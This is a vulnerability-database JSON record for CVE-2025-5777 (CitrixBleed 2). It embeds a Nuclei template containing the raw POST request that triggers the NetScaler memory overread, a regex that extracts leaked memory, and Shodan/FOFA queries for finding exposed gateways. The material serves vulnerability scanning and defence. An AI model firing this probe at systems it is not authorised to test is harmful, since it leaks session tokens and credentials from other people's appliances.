{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-5777/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-5777/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-5777/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-5777/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-5777/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-5777"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-5777"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99972,
      "kev": true,
      "percentile": 0.99977
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-5777.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-5777\n\ninfo:\n  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2\n  author: watchtowr,DhiyaneshDk,darses\n  severity: critical\n  description: |\n    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n  impact: |\n    Unauthenticated attackers can trigger memory overread conditions to leak sensitive information from NetScaler memory, potentially exposing session tokens and credentials similar to CitrixBleed.\n  remediation: |\n    Apply the security patches as described in Citrix support article CTX693420 and restrict access to the NetScaler Management Interface.\n  reference:\n    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420\n    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777\n  classification:\n    cve-id: CVE-2025-5777\n    cwe-id: CWE-457\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    epss-score: 0.99972\n    epss-percentile: 0.99977\n    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*,cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query:\n      - title:\"NetScaler Gateway\"\n      - title:\"NetScaler AAA\"\n      - http.favicon.hash:-1166125415\n      - http.favicon.hash:-1292923998\n    fofa-query:\n      - title=\"NetScaler Gateway\"\n      - title=\"NetScaler AAA\"\n      - icon_hash=\"-1166125415\"\n      - icon_hash=\"-1292923998\"\n  tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |+\n        POST /p/u/doAuthentication.do HTTP/1.0\n        Host: {{Hostname}}\n        bleed_attack: {{iteration}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        Content-Length: 5\n\n        login\n\n    unsafe: true\n    payloads:\n      iteration:\n        - \"{{rand_int(1,5)}}\"\n\n    extractors:\n      - type: regex\n        name: iv\n        part: body\n        group: 1\n        regex:\n          - '<InitialValue>([^<]{10,})</InitialValue>'\n        internal: true\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'len(iv) > 0'\n          - 'contains(to_lower(header), \"application/vnd.citrix.authenticateresponse\")'\n          - '!contains(body, \"<InitialValue></InitialValue>\")'\n          - '!contains(to_string(iv), \"false\")'\n          - '!contains(to_string(iv), \"true\")'\n          - '!regex(\"^[A-Za-z0-9+/=\\\\s]+$\", iv)'\n        condition: and\n# digest: 4b0a00483046022100c4e23d03bc587c56228e8087ab561b290df5d0e5afd5a018eb25a4d123709a0e022100be7877c8e8a426d81e6e3b9c9ec3d8739af115f15cb1125f33ac4df9549c23fc:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-5777"
}